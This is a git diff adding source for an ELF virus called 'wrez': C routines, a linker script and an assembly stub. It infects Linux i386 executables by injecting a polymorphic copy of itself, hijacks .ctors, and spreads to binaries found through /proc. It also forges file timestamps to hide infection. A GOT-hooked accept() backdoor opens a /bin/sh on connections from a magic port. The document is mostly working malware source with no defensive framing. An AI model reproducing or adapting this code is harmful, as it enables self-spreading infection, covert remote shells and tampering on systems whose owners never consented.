119 /* XXX: put runtime related stuff, such as GOT hook code in here
120 */
121
122
123 /*** this is executed in all other infection runs (normal case)
124 */
125
126 /* WRF_GENERATION_LIMIT */
127 if (WRF_ISSET (dcfg->flags, WRF_GENERATION_LIMIT)) {
128 /* this is already the last (infertile) generation
129 */
130 if (dcfg->icount == 0)
131 return (1);
132
133 /* else just decrease icount, since if we won't propagate,
134 * then its not used anyway.
135 */
136 dcfg->icount -= 1;
137 }
138
139#ifdef FINGERPRINT
140 /* WRF_GET_FINGERPRINT */
141 if (WRF_ISSET (dcfg->flags, WRF_GET_FINGERPRINT)) {
142 dcfg->curhost = fp_get ();
143 }
144#endif
145
146 /* FIXME: this is testing code only, to test propagation
147 */
148 if (isinfected (dcfg->xxx_temp) != 0) {
149 STRINGPTR (foo, "infected\\n");
150 write (2, foo, 9);
151 } else {
152 STRINGPTR (foo, "tmp");
153 infect (cfg, dcfg->xxx_temp, (char *) foo);
154 }
155
156 return (1);
157}
158
159
160#ifdef LOOKUP_GOT_DEEP_REDIRECTION_EXAMPLE
161static void
162ex_wrez_got_deep_redirect (wrconfig *cfg)
163{
164 char * mallocstr;
165 Elf32_Word * mallocgot[8];
166 Elf32_Word * cgot; /* correct got slot */
167 void * mymalloc;
168 char * sostr;
169
170
171 STRINGPTR (mallocstr, "malloc");
172 STRINGPTR (sostr, "shared-library.so");
173
174 if (got_funcloc_array ((void *) cfg->elf_base, mallocstr, mallocgot, 8,
175 sostr) != 1)
176 {
177 STRINGPTR (mallocstr, "got_funcloc_array != 1\\n");
178 write (2, mallocstr, 24);
179
180 return;
181 }
182
183 cgot = mallocgot[0];
184 FUNCPTR (mymalloc, "ex_wrez_malloc");
185
186 PTRINSTALL (mymalloc, *cgot, cgot, cfg);
187 *cgot = (Elf32_Word) mymalloc;
188}
189
190
191static int
192ex_wrez_malloc (int size)
193{
194 int (* chain)(int);
195
196 int rval;
197 char * m;
198
199 CHAINSTART(chain);
200
201 STRINGPTR (m, "wrez_malloc\\n");
202 write (2, m, 13);
203
204 CHAINCALL;
205 rval = chain (size);
206
207 /* did the .got entry change? (lazy binding)
208 */
209 CHAINEND;
210
211 CHAINCALL;
212 return (rval);
213}
214#endif
215
216
217#ifdef LOOKUP_GOT_REDIRECTION_EXAMPLE
218static void
219ex_wrez_got_redirect (wrconfig *cfg)
220{
221 char * printfstr;
222 Elf32_Word * printf;
223 void * myprintf;
224
225
226 STRINGPTR (printfstr, "printf");
227 printf = got_funcloc ((void *) cfg->elf_base, printfstr);
228 FUNCPTR (myprintf, "ex_wrez_got_test");
229
230 if (printf != NULL) {
231 PTRINSTALL (myprintf, *printf, printf, cfg);
232 *printf = (Elf32_Word) myprintf; /* overwrite .got entry */
233 }
234}
235
236
237static int
238ex_wrez_got_test (char *toprint)
239{
240 int (* chain)(char *);
241
242 int rval;
243 char * m;
244
245
246 CHAINSTART (chain);
247
248
249 STRINGPTR (m, "wrez_got_test\\n");
250 write (2, m, 14);
251
252 rval = chain (toprint);
253
254 /* did the .got entry change? (lazy binding)
255 */
256 CHAINEND;
257
258 return (rval);
259}
260#endif
261
262
263#ifdef LOOKUP_LIBC_CALL_EXAMPLE
264static void
265ex_wrez_libc_call (wrconfig *cfg)
266{
267 char * systemf;
268 char * command;
269 int (*system)(char *);
270
271
272 STRINGPTR (systemf, "system");
273 STRINGPTR (command, "uname -a;id;");
274
275 system = symbol_resolve ((void *) cfg->elf_base, systemf);
276 if (system != NULL)
277 system (command);
278}
279#endif
280
281
282#ifdef LOOKUP_BACKDOOR_NETWORK_MAGIC
283static void
284backdoor_network (wrconfig *cfg)
285{
286 char * acceptstr;
287 Elf32_Word * acceptgot[8];
288 int acg_wk; /* got walker */
289 void * bd_accept;
290
291
292 memset (acceptgot, 0, sizeof (acceptgot));
293 STRINGPTR (acceptstr, "accept");
294
295 if (got_funcloc_array ((void *) cfg->elf_base, acceptstr, acceptgot, 8,
296 NULL) == 0)
297 {
298 return;
299 }
300
301 FUNCPTR (bd_accept, "backdoor_network_accept");
302
303 /* install all GOT redirections into the hook function as static data
304 */
305 PTRINSTALL_ARRAY (bd_accept, *(acceptgot[0]), cfg, acceptgot, "8");
306
307 for (acg_wk = 0 ; acg_wk < (sizeof (acceptgot) /
308 sizeof (acceptgot[0])) && acceptgot[acg_wk] != NULL ;
309 ++acg_wk)
310 {
311 *(acceptgot[acg_wk]) = (Elf32_Word) bd_accept;
312 }
313}
314
315
316static int
317backdoor_network_accept (int s, void *addr, int addr_len)
318{
319 int (* chain)(int, void *, int);
320 int retval;
321
322 CHAINSTART_M (chain, 8, "8");
323
324again:
325 CHAINCALL;
326 retval = chain (s, addr, addr_len);
327 CHAINEND_M;
328
329 /* check whether a socket has been caught, if so, call real backdoor
330 * function, else just bail out as the real accept did
331 *
332 * if it is a real backdoored connection, then try again, without
333 * looking suspecious
334 */
335 if (retval >= 0) {
336 if (backdoor_network_check (retval) != 0) {
337 close (retval);
338
339 goto again;
340 }
341 }
342
343 CHAINCALL;
344 return (retval);
345}
346
347
348/* return 0 if its no backdoored connection
349 * return != 0 if it is
350 */
351int
352backdoor_network_check (int sock)
353{
354 char * argv[2];
355 struct sockaddr_in rm; /* remote addr */
356 socklen_t rm_l = sizeof (rm);
357 unsigned short port;
358
359
360 if (getpeername (sock, &rm, &rm_l) != 0)
361 return (0);
362
363 port = ((rm.sin_port & 0xff) << 8) | ((rm.sin_port & 0xff00) >> 8);
364 if (port == MAGIC_PORT) {
365 if (fork () != 0)
366 return (1);
367 } else
368 return (0);
369
370 /* backdoored child from hereon
371 */
372 STRINGPTR (argv[0], "/bin/sh");
373 argv[1] = NULL;
374 dup2 (sock, 0);
375 dup2 (sock, 1);
376 dup2 (sock, 2);
377 execve (argv[0], argv, NULL);
378 _exit (0);
379
380 return (0);
381}
382
383#endif
384
385
386/* isinfected
387 *
388 * test whether executeable file `filename' is already infected by wrez.
389 * this test may cause false-positives because we use no signature but a
390 * property of the program headers that could appear in normal files, too.
391 *
392 * return 0 if the file is not infected yet
393 * return != 0 if the file is either infected or we cannot tell (error?)
394 * 1 = infected or false positive
395 * -1 = bug or cannot tell
396 */
397
398static int
399isinfected (char *filename)
400{
401 int vfd,
402 rval = -1; /* return value, assume infected */
403 Elf32_Ehdr veh;
404 Elf32_Phdr vph;
405
406
407 vfd = open (filename, O_RDONLY, 0);
408 if (vfd < 0)
409 return (-1);
410
411 if (read (vfd, &veh, sizeof (veh)) != sizeof (veh))
412 goto bail;
413
414 if (veh.e_ident[EI_MAG0] != ELFMAG0 ||
415 veh.e_ident[EI_MAG1] != ELFMAG1 ||
416 veh.e_ident[EI_MAG2] != ELFMAG2 ||
417 veh.e_ident[EI_MAG3] != ELFMAG3)
418 goto bail;
419
420 if (veh.e_type != ET_EXEC || veh.e_machine != EM_386)
421 goto bail;
422
423 if (lseek (vfd, veh.e_phoff, SEEK_SET) == -1)
424 goto bail;
425
426 while (veh.e_phnum-- > 0) {
427 if (read (vfd, &vph, sizeof (vph)) != sizeof (vph))
428 goto bail;
429
430 if (vph.p_type != PT_LOAD)
431 continue;
432
433 if (vph.p_flags != (PF_W | PF_R))
434 continue;
435
436 if (INFECTED_IS (vph.p_memsz)) {
437 rval = 1;
438 } else {
439 rval = 0; /* not infected */
440 }
441
442 goto bail;
443 }
444
445bail: close (vfd);
446
447 return (rval);
448}
449
450
451/* infect
452 *
453 * try to infect file `filename'. do not check whether it is already infected.
454 *
455 * our idea works like this:
456 * 1. find the last physical PT_LOAD segment
457 * 2. save everything behind that in the file
458 * 3. extend last PT_LOAD segment and inject ourself there
459 * 4. append everything saved behind us
460 * 5. fixup addresses for data behind us, which we assume to be only the
461 * section header table and the .shstrtab section
462 * 6. increase PT_LOAD segments physical size so we get mapped too
463 * 7. redirect .ctors to our entry point so we seize control
464 *
465 * when mvfile is non-NULL, it is used to copy the file to this name before
466 * infecting it in case we cannot open the `filename' read/write. it will
467 * then infect the copy, unlinking the old file and then moving the mvfile to
468 * the old filename. this is necessary when infecting running processes
469 *
470 * return in any case
471 */
472
473static inline void
474infect (wrconfig *cfg, char *filename, char *mvfile)
475{
476 int n, /* temporary counter */
477 vfd; /* victim file descriptor */
478 Elf32_Ehdr veh;
479 Elf32_Phdr vph;
480 unsigned int vlen; /* victim file length */
481
482 Elf32_Phdr vphlast;
483 unsigned int ph_lastofs = 0; /* offset of _Phdr struct in file */
484 unsigned int ph_lastphys = 0;/* last byte touched by PT_LOAD seg */
485
486 unsigned int phtext_offset = 0, /* used for .ctors scan */
487 phtext_filesz = 0;
488
489 unsigned char * mbl; /* memory block */
490 unsigned int mbl_len; /* length */
491
492 unsigned char * dpoly; /* destination buffer for poly */
493 unsigned int dpoly_len, /* length of destination buffer */
494 dpoly_used; /* number of bytes used */
495#if 0
496 /* see below what this should be used for */
497 img_ok_check; /* magic value transport */
498#endif
499
500 Elf32_Shdr seh;
501 unsigned int ctors_virt = 0; /* virtual .ctors offset in process */
502 unsigned int old_wrctors;
503
504 unsigned int elf_base = 0, /* virtual &elf_header[0] */
505 old_elf_base; /* temporary backup */
506
507 unsigned int new_entry, /* new entry point */
508 new_displ, /* displacement new/old */
509 lastmem = 0; /* last used memory at all in file */
510 unsigned char wrchar = 0x00; /* fill byte for .bss */
511
512 struct stat ost; /* old stat of file */
513 struct utimbuf nutime; /* new utime of infected file */
514 struct timeval otval, /* current time (to change it back) */
515 ntval; /* new timeval of infected file */
516
517 int tfd = 0; /* temporary fd for mvfile */
518 unsigned char tcopy[64]; /* copy buffer used */
519
520
521 /* get timestamps to restore them afterwards
522 */
523 if (stat (filename, &ost) == -1)
524 return;
525
526 vfd = open (filename, O_RDWR, 0);
527
528 if (vfd < 0 && mvfile != NULL) {
529 vfd = open (filename, O_RDONLY, 0);
530 if (vfd < 0)
531 return;
532
533 /* use some innocent looking mode here, in case things go
534 * wrong later and the file sticks somewhere
535 */
536 tfd = open (mvfile, O_CREAT | O_RDWR, 0755);
537 if (tfd < 0)
538 return;
539
540 /* copy the old file (`filename', at vfd) to the newly created
541 * one (`mvfile', at tfd)
542 */
543 while ((n = read (vfd, tcopy, sizeof (tcopy))) > 0)
544 write (tfd, tcopy, n);
545
546 /* in either case (error or not), close down the fd's used
547 */
548 close (tfd);
549 close (vfd);
550
551 if (n < 0) {
552 unlink (mvfile);
553 return;
554 }
555
556#define OPERATE_ON_COPY_MARKER 0xffff
557 tfd = OPERATE_ON_COPY_MARKER;
558
559 vfd = open (mvfile, O_RDWR, 0);
560 }
561
562 /* no chance, even with moving?
563 */
564 if (vfd < 0)
565 return;
566
567
568 if (read (vfd, &veh, sizeof (veh)) != sizeof (veh))
569 goto bail;
570
571 /* find physical .ctors address
572 * requires section header table (.e_shoff != 0)
573 */
574 if (veh.e_shoff == 0)
575 goto bail;
576
577 if (lseek (vfd, veh.e_shoff, SEEK_SET) == -1)
578 goto bail;
579
580 for (n = 0 ; n < veh.e_shnum ; ++n) {
581 if (read (vfd, &seh, sizeof (seh)) != sizeof (seh))
582 goto bail;
583
584 /* XXX: .bss has to be zeroed out even in the rtld already.
585 * hence we cannot activate through .ctors except we
586 * provide a zeroed-out array over whole .bss. sucks.
587 */
588 if (seh.sh_addr != 0 &&
589 (seh.sh_offset + seh.sh_size) > lastmem)
590 {
591 lastmem = seh.sh_offset + seh.sh_size;
592 }
593
594 if (seh.sh_type != SHT_PROGBITS)
595 continue;
596 if (seh.sh_size != 8)
597 continue;
598 if (seh.sh_flags != (SHF_WRITE | SHF_ALLOC))
599 continue;
600
601 /* first occurance is the .ctors section, so write its
602 * physical position in the file down and abort search
603 */
604 if (ctors_virt == 0)
605 ctors_virt = seh.sh_addr;
606 }
607
608 /* failed to find .ctors section ?
609 */
610 if (ctors_virt == 0)
611 goto bail;
612
613
614 /* read in program headers, and find the last physical one.
615 */
616 if (lseek (vfd, veh.e_phoff, SEEK_SET) == -1)
617 goto bail;
618
619 for (n = 0 ; n < veh.e_phnum ; ++n) {
620 if (read (vfd, &vph, sizeof (vph)) != sizeof (vph))
621 goto bail;
622
623 if (vph.p_type != PT_LOAD)
624 continue;
625
626 /* starting at zero == includes elf header
627 */
628 if (vph.p_offset == 0) {
629 elf_base = vph.p_vaddr;
630
631 /* we save this to better limit down the .ctors
632 * calling code in the file. this may be especially
633 * important for very large and or weird (c++ ?) files
634 * since there may be multiple .ctors calling
635 * occurances. anyway, its better to not scan the
636 * entire file, but just the .text PT_LOAD segment
637 */
638 phtext_offset = vph.p_offset;
639 phtext_filesz = vph.p_filesz;
640 }
641
642 if ((vph.p_offset + vph.p_filesz) > ph_lastphys) {
643 ph_lastphys = vph.p_offset + vph.p_filesz;
644 memcpy ((void *) &vphlast, (void *) &vph,
645 sizeof (vphlast));
646
647 ph_lastofs = veh.e_phoff + n * veh.e_phentsize;
648 }
649 }
650
651 /* get victim file length, and compute length of memory block to
652 * slide.
653 */
654 vlen = lseek (vfd, 0, SEEK_END);
655 mbl_len = vlen - ph_lastphys;
656
657 mbl = (unsigned char *) mmap ((void *) 0x06000000,
658 mbl_len, PROT_READ | PROT_WRITE,
659 MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
660
661 lseek (vfd, ph_lastphys, SEEK_SET);
662 if (read (vfd, mbl, mbl_len) != mbl_len)
663 goto bail2;
664
665 /* inject ourself at the end of the PT_LOAD segment:
666 *
667 * 0| datadatadata 1| \0\0\0\0\0\0\0 2| vdata 3| vpad 4|
668 * +---.data--+ +----.bss----+
669 *
670 * 0| = ph_offset, with .data section
671 * 1| = ph_offset + old_ph_filesz, .bss section
672 * 2| = ph_offset + old_ph_memsz, virus data compressed
673 * 3| = ph_offset + new_ph_filesz, space for decompressed virus
674 * 4| = ph_offset + new_ph_memsz
675 */
676 if (lseek (vfd, ph_lastphys, SEEK_SET) != ph_lastphys)
677 goto bail2;
678
679 if ((lastmem - ph_lastphys) > 0) {
680 do {
681 write (vfd, &wrchar, 1);
682 } while (lseek (vfd, 0, SEEK_CUR) < lastmem);
683 }
684
685 /* compute new entry point
686 */
687 new_entry = vphlast.p_vaddr + vphlast.p_memsz + sizeof (unsigned int);
688
689 /* generate a new polymorphic version of the virus, and write it to
690 * the victim file
691 *
692 * steps: - write correct .ctors address in new image
693 * - get memory for polymorph version
694 * - generate the polymorph version
695 * - write .ctors to file
696 * - write it to the file
697 * - free the memory
698 * - restore the .ctors addresses
699 */
700 old_wrctors = cfg->wr_oldctors;
701
702 /* XXX: the crt0.o behaviour changed from where it required +4 offset
703 * adjusting to +0. FIXME: make a reliable algo */
704 /* cfg->wr_oldctors = ctors_virt + 4; */
705 cfg->wr_oldctors = ctors_virt;
706
707 old_elf_base = cfg->elf_base;
708 cfg->elf_base = elf_base;
709
710 dpoly_len = WREZ_SIZE_COMP + 4096;
711 dpoly = (unsigned char *) mmap ((void *) 0x07000000,
712 dpoly_len, PROT_READ | PROT_WRITE,
713 MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
714
715 if ((int) dpoly == -1)
716 goto bail2;
717
718 dpoly_used = infect_image (cfg, dpoly, new_entry);
719
720#ifdef DOES_NOT_WORK
721/* FIXME: does not work because the virus copy generated here (at &dpoly[0]
722 is at a different address than in the final infected file. because
723 the poly engine (lime) has to know the final load-address of the
724 code, it is impossible to test the virus with it. too bad.
725*/
726 /* test whether polymorphistic code worked.
727 * this is a workaround, since the polyengine contains some small
728 * bugs which appear randomly and result in segfaults and illegal
729 * instructions. since we installed a signal handler for both, back
730 * in wrez.asm, if things go wrong here, we will pass control to
731 * the host executeable and the file will not be infected.
732 */
733 __asm__ __volatile__ ("
734 call *%%eax
735 nop
736 nop
737 nop
738 nop"
739 : "=a" (img_ok_check) : "a" (dpoly));
740
741 /* magic "worked" value. normally if something wents wrong, we do
742 * not even receive control anymore
743 */
744 if (img_ok_check != 0x60504030)
745 goto bail3;
746#endif
747
748 /* first write new .ctors, followed by the full polycode
749 */
750 if (write (vfd, (void *) &new_entry, sizeof (unsigned int)) !=
751 sizeof (unsigned int))
752 goto bail3;
753
754 if (write (vfd, (void *) dpoly, dpoly_used) != dpoly_used)
755 goto bail3;
756
757 munmap ((void *) dpoly, dpoly_len);
758
759 cfg->elf_base = old_elf_base;
760 cfg->wr_oldctors = old_wrctors;
761
762 /* write back saved block and fixup absolute address in elf header
763 * lseek(vfd,0,SEEK_CUR) is the new last physical byte touched by
764 * the PT_LOAD segment
765 */
766 new_displ = lseek (vfd, 0, SEEK_CUR) - ph_lastphys;
767 if (write (vfd, (void *) mbl, mbl_len) != mbl_len)
768 goto bail2;
769
770
771 if (veh.e_shoff > ph_lastphys) {
772 veh.e_shoff += new_displ;
773
774 if (lseek (vfd, 0, SEEK_SET) == -1)
775 goto bail2;
776 if (write (vfd, (void *) &veh, sizeof (veh)) != sizeof (veh))
777 goto bail2;
778 }
779
780 /* fixup section addresses in section header table
781 */
782 if (lseek (vfd, veh.e_shoff, SEEK_SET) == -1)
783 goto bail;
784
785 for (n = 0 ; n < veh.e_shnum ; ++n) {
786 if (read (vfd, &seh, sizeof (seh)) != sizeof (seh))
787 goto bail2;
788
789 switch (seh.sh_type) {
790 case (SHT_NULL):
791 break;
792 default:
793 /* did we move anything non-runtime related ?
794 */
795 if (seh.sh_addr == 0 && seh.sh_offset >= ph_lastphys) {
796 seh.sh_offset += new_displ;
797
798 if (lseek (vfd, -sizeof(seh), SEEK_CUR) == -1)
799 goto bail2;
800
801 write (vfd, &seh, sizeof (seh));
802 }
803 break;
804 }
805 }
806
807 /* patch last PT_LOAD segment header to load ourself into memory
808 * XXX: sizeof (unsigned int) is the ctors address we add.
809 */
810 vphlast.p_filesz += sizeof (unsigned int) +
811 dpoly_used + (lastmem - ph_lastphys);
812
813 /* XXX: we need space for the decompression, exactly WREZ_SIZE bytes */
814 if (vphlast.p_memsz < (vphlast.p_filesz + WREZ_SIZE - cfg->decomp_len))
815 vphlast.p_memsz = vphlast.p_filesz +
816 WREZ_SIZE - cfg->decomp_len;
817
818 /* vphlast.p_memsz is the utter minimum we need for decompression and
819 * ourself. but we round it up a bit as infection marker. the macros
820 * INFECTED_SET and INFECTED_IS are used and can be tweaked for a good
821 * false-positive ratio.
822 */
823 INFECTED_SET (vphlast.p_memsz);
824
825 if (lseek (vfd, ph_lastofs, SEEK_SET) != ph_lastofs)
826 goto bail2;
827 if (write (vfd, &vphlast, veh.e_phentsize) != veh.e_phentsize)
828 goto bail2;
829
830 /* modify .ctors to make it call our virus on startup
831 */
832 fixup_ctors (vfd, ctors_virt, new_entry - sizeof (unsigned int),
833 phtext_offset, phtext_filesz);
834
835 munmap ((void *) mbl, mbl_len);
836 close (vfd);
837
838
839 /* if we infected a copy because the original binary is running, we
840 * overwrite the original binary now (or at least try to ;)
841 */
842 if (tfd == OPERATE_ON_COPY_MARKER) {
843 if (unlink (filename) != 0) {
844 unlink (mvfile);
845
846 return;
847 }
848
849 /* original is removed now, copy our infected binary over
850 * it, then proceed as usual (restore filestamps and such)
851 */
852 if (rename (mvfile, filename) != 0) {
853 /* oops, we deleted the original binary, but fail now,
854 * thats not good :( hm.. at least leave no trace then
855 */
856 unlink (mvfile);
857
858 return;
859 }
860 }
861
862 /* restore timestamps on file
863 */
864 nutime.actime = ost.st_atime;
865 nutime.modtime = ost.st_mtime;
866 ntval.tv_sec = ost.st_ctime + 1;
867 ntval.tv_usec = 0;
868
869 if (utime (filename, &nutime) == -1)
870 goto bail2;
871
872 if (gettimeofday (&otval, 0) == -1)
873 goto bail2;
874
875 /* XXX: kludge, this will naturally fail when we are != uid 0
876 */
877 if (settimeofday (&ntval, 0) == -1)
878 goto bail2;
879
880 chown (filename, ost.st_uid, ost.st_gid);
881
882 /* TODO/FIXME: loop until correct time was set */
883 settimeofday (&otval, 0);
884
885 return;
886
887bail3: munmap ((void *) dpoly, dpoly_len);
888bail2: munmap ((void *) mbl, mbl_len);
889
890bail: close (vfd);
891}
892
893
894/* infect_image
895 *
896 * create a proper new polymorph image of the virus at `dest'. there must
897 * be at least (4096 + virus-size) bytes at dest.
898 *
899 * return the number of bytes stored at dest
900 */
901
902static unsigned int
903infect_image (wrconfig *cfg, unsigned char *dest, unsigned long int new_entry)
904{
905 unsigned int dn = 0;
906
907#ifdef POLYMORPHISM
908 unsigned int lime_len;
909
910 dest[dn++] = 0x9c; /* pushf */
911 dest[dn++] = 0x60; /* pusha */
912
913 lime_len = lime_generate (cfg->wr_start, WREZ_SIZE_COMP,
914 &dest[dn], new_entry + dn, 0x0);
915
916 return (dn + lime_len);
917#else
918 dest[dn++] = 0x9c; /* pushf */
919 dest[dn++] = 0x60; /* pusha */
920
921 memcpy (&dest[dn], (void *) cfg->wr_start, WREZ_SIZE_COMP);
922
923 return (WREZ_SIZE_COMP + 2);
924#endif
925
926}
927
928
929/* fixup_ctors
930 *
931 * find and change any occurance of ctor walking code in crt0.o
932 *
933 * looks like:
934 * 00007457:BBB4350508 mov ebx,080535B4
935 * 0000745C:833DB4350508FF cmp (d) [+080535B4],-01
936 * 00007463:740C je file:00007471 =>[2]
937 * 00007465:8B03 mov eax,[ebx]
938 * 00007467:FFD0 call (d) eax
939 * 00007469:83C3FC add (d) ebx,-04
940 * 0000746C:833BFF cmp (d) [ebx],-01
941 * 0000746F:75F4 jne file:00007465
942 *
943 * file to scan for the code is already opened read-write at `vfd'. the old
944 * address thats stored in the code right now is `old_addr', we replace with
945 * `new_addr'. within the file, the possible space we should look at is from
946 * `startseek' to (`startseek' + `lenseek')
947 *
948 * return in any case
949 */
950
951static inline void
952fixup_ctors (int vfd, unsigned long int old_addr, unsigned long int new_addr,
953 unsigned int startseek, unsigned int lenseek)
954{
955 int n, /* temporary buffer walker */
956 count = 0; /* times we have seen the address */
957 unsigned int spos; /* filepos of &rbuf[0] */
958 unsigned char rbuf[256]; /* streaming read buffer */
959
960
961 spos = startseek;
962
963 /* XXX: this is a bit of a kludge when we approach the end of the
964 * space we have to search, we read over it by max (256 - 3)
965 * bytes. but thats ok.
966 */
967 do {
968 if (lseek (vfd, spos, SEEK_SET) == -1)
969 return;
970
971 if (read (vfd, rbuf, sizeof (rbuf)) == -1)
972 return;
973
974 for (n = 0; n < (sizeof (rbuf) - 3) ; ++n) {
975 if (*((unsigned int *) &rbuf[n]) == old_addr) {
976 if (lseek (vfd, spos + n, SEEK_SET) == -1)
977 return;
978
979 /* overwrite old static address with our
980 * address, then move ahead, over it
981 */
982 write (vfd, &new_addr, sizeof (new_addr));
983 n += 4;
984 count++;
985 }
986 }
987
988 spos += sizeof (rbuf) - 3;
989 } while (count < 2 && spos < (startseek + lenseek));
990
991 return;
992}
993
994
995/* look_user
996 *
997 * we are non-root, so our choices of infecting other binaries is limited.
998 * the most effective way to infect binaries that will be started even
999 * after reboots is to look for user-owned binaries. this is too time
1000 * consuming, so we do it another way:
1001 *
1002 * 1. get a list of every running process
1003 * 2. look whether the binary of the process is writeable by us
1004 * 3. try to infect the binary (which requires some workarounds, see below)
1005 *
1006 * return 0 in case no victim was found
1007 * return number of attempted infections (successful or failure) on success
1008 */
1009
1010static inline int
1011look_user (wrconfig *cfg)
1012{
1013 int infect_count = 0; /* number of attempted */
1014 int dfd; /* directory file descriptor */
1015 unsigned char * t_proc;
1016
1017 struct dirent * dwlk; /* dirent walker */
1018 int d_count, /* getdents return value */
1019 d_proc; /* processed data */
1020 unsigned char d_data[4096]; /* temporary dirent data */
1021
1022
1023 STRINGPTR (t_proc, "/proc");
1024
1025 dfd = open (t_proc, O_RDONLY, 0);
1026 if (dfd < 0)
1027 return (0);
1028
1029 do {
1030 dwlk = (struct dirent *) d_data;
1031 d_count = getdents (dfd, dwlk, sizeof (d_data));
1032
1033 for (d_proc = 0 ; d_proc < sizeof (d_data) &&
1034 d_proc < d_count && dwlk->d_reclen != 0 ;
1035 d_proc += dwlk->d_reclen)
1036 {
1037 look_user_proc (cfg, t_proc, dwlk->d_name);
1038 dwlk = (struct dirent *) (((unsigned char *) dwlk) +
1039 dwlk->d_reclen);
1040 }
1041 } while (d_count > 0);
1042
1043 close (dfd);
1044
1045 return (infect_count);
1046}
1047
1048
1049static inline int
1050look_user_proc (wrconfig *cfg, char *t_proc, unsigned char *filename)
1051{
1052 int mapfd;
1053 unsigned char tfname[128];
1054 unsigned char * fwlk;
1055 char * tfnp;
1056
1057
1058 for (fwlk = filename ; *fwlk != '\0' ; ++fwlk) {
1059 /* when its not a process-directory, return immediatly
1060 */
1061 if (*fwlk < '0' || *fwlk > '9')
1062 return (0);
1063 }
1064
1065 /* XXX: a bit messy way of constructing "/proc/<pid>/maps"
1066 */
1067 memcpy (tfname, t_proc, 5); /* "/proc" */
1068 tfname[5] = '/'; /* "/proc/" */
1069 memcpy (&tfname[6], filename, fwlk - filename);
1070 STRINGPTR (tfnp, "/maps");
1071 memcpy (&tfname[6 + fwlk - filename], tfnp, 6);
1072
1073 /* open the mapfile and extract the binary path out of it
1074 */
1075 mapfd = open (tfname, O_RDONLY, 0);
1076 if (mapfd < 0)
1077 return (0);
1078
1079 /* read until first slash '/'
1080 */
1081 fwlk = tfname;
1082 for (*fwlk = '\0' ; read (mapfd, fwlk, 1) == 1 && *fwlk != '/' ; )
1083 ;
1084
1085 /* empty maps (kernel processes)
1086 */
1087 if (*fwlk == '\0') {
1088 close (mapfd);
1089
1090 return (0);
1091 }
1092
1093 for (++fwlk ; fwlk < &tfname[sizeof (tfname) - 1] &&
1094 read (mapfd, fwlk, 1) == 1 && *fwlk != '\n' ; ++fwlk)
1095 ;
1096 *fwlk = '\0';
1097
1098 close (mapfd);
1099
1100 /* FINAL:XXX: remove this in final build */
1101 write (2, tfname, fwlk - tfname);
1102 write (2, "\n", 1);
1103
1104 /* wow, after all this mess, we finally got the filename of a running
1105 * process, lets see if its infected, if not, try to infect it
1106 */
1107 if (isinfected (tfname) == 0) {
1108 STRINGPTR (tfnp, "clean\n");
1109 write (2, tfnp, 6);
1110 }
1111
1112 return (0);
1113}
1114
1115
1116/* its in here because of register poorness, hence we recycle the stack
1117 * content and pass the pointer to it instead of trying to write a braindead
1118 * inlined version
1119 */
1120
1121static int
1122mmap (void *start, long length, int prot, int flags,
1123 int fd, long offset)
1124{
1125 long ret;
1126
1127 __asm__ __volatile__ ( "int $0x80"
1128 : "=a" (ret)
1129 : "a" (__NR_mmap), "b" (&start));
1130
1131 return (ret);
1132}
1133
diff --git a/other/wrez/wrcore.o b/other/wrez/wrcore.o
new file mode 100644
index 0000000..34d6353
--- /dev/null
+++ b/other/wrez/wrcore.o
Binary files differ
diff --git a/other/wrez/wrez b/other/wrez/wrez
new file mode 100755
index 0000000..fedc3c4
--- /dev/null
+++ b/other/wrez/wrez
Binary files differ
diff --git a/other/wrez/wrez-link.lds b/other/wrez/wrez-link.lds
new file mode 100644
index 0000000..29e9ffb
--- /dev/null
+++ b/other/wrez/wrez-link.lds
@@ -0,0 +1,46 @@
1/* initial infector link description */
2
3OUTPUT_FORMAT("elf32-i386", "elf32-i386", "elf32-i386")
4OUTPUT_ARCH("i386")
5
6ENTRY(wrez_init)
7
8PHDRS
9{
10 text PT_LOAD FILEHDR PHDRS FLAGS (0x0007); /* PF_R | PF_W | PF_X */
11 data PT_LOAD FLAGS (0x0006); /* PF_R | PF_W */
12}
13
14SECTIONS
15{
16 . = 0x06660000 ;
17 .text : {
18 wrez.o(.text)
19 wrcore.o(.text)
20#ifdef POLYMORPHISM
21 lime-interface.o(.text)
22 lime.o(.text)
23#endif
24#ifdef LOOKUP
25 lookup.o(.text)
26#endif
27#ifdef INMEM
28 inmem.o(.text)
29#endif
30#ifdef FINGERPRINT
31 fingerprint.o(.text)
32 crypto.o(.text)
33#endif
34 *(.text)
35 *(.rodata)
36 *(.data)
37 } : text
38
39 /* save calls to objcopy, huh */
40 /DISCARD/ : {
41 *(.bss)
42 *(.eh_frame)
43 *(.comment)
44 *(.note)
45 }
46}
diff --git a/other/wrez/wrez.2nd b/other/wrez/wrez.2nd
new file mode 100644
index 0000000..d28db5b
--- /dev/null
+++ b/other/wrez/wrez.2nd
Binary files differ
diff --git a/other/wrez/wrez.2nd.compressed b/other/wrez/wrez.2nd.compressed
new file mode 100644
index 0000000..ebee470
--- /dev/null
+++ b/other/wrez/wrez.2nd.compressed
Binary files differ
diff --git a/other/wrez/wrez.asm b/other/wrez/wrez.asm
new file mode 100644
index 0000000..7c725ff
--- /dev/null
+++ b/other/wrez/wrez.asm
@@ -0,0 +1,438 @@
1
2 GLOBAL wrez_init
3 GLOBAL wrcfg
4 GLOBAL decompressor_start
5 GLOBAL decompressor_end
6 GLOBAL data_start
7
8 EXTERN wrez_main
9 EXTERN wrez_end
10
11
12pusha_size equ 32
13
14%include "wrezdefs.inc"
15
16wrez_init:
17; pushf ; XXX: activate only without polymorphism
18; pusha
19
20 ; XXX: this is a workaround to test whether to polymorphism
21 ; engine worked properly. in wrcore.c we use a special
22 ; instruction block (4* 0x90, nop) after the call to
23 ; test whether it worked.
24; DISABLED FOR NOW
25; mov ebx, [esp + 0x20 + 4]
26; mov edx, [ebx] ; instruction at retaddr
27; cmp edx, 0x90909090
28; jne dostub
29; popa
30; popf
31; mov eax, 0x60504030
32; ret
33
34
35
36 ; XXX: align so that we do not overwrite parts of the wrcfg
37 ; structure on final exit.
38; times ((16) - $ + wrez_init) db 0x90
39
40dostub: call decompressor_start
41
42wrcfg:
43
44wr_start:
45 dd wrez_init ; wr_start
46decomp_len:
47 dd -1
48
49wr_oldctors:
50 dd 0x41414141
51elf_base:
52 dd 0x42424242
53
54victim: db '/tmp/v'
55 times ((32+4) - $ + victim) db 0x0
56
57; decompress_to = wr_start + cmprlen + (decompressor_end - wrez_init)
58cmprlen: dd 0x41414141
59llstuff: db 0x40
60hl1stuff: dw 0x41
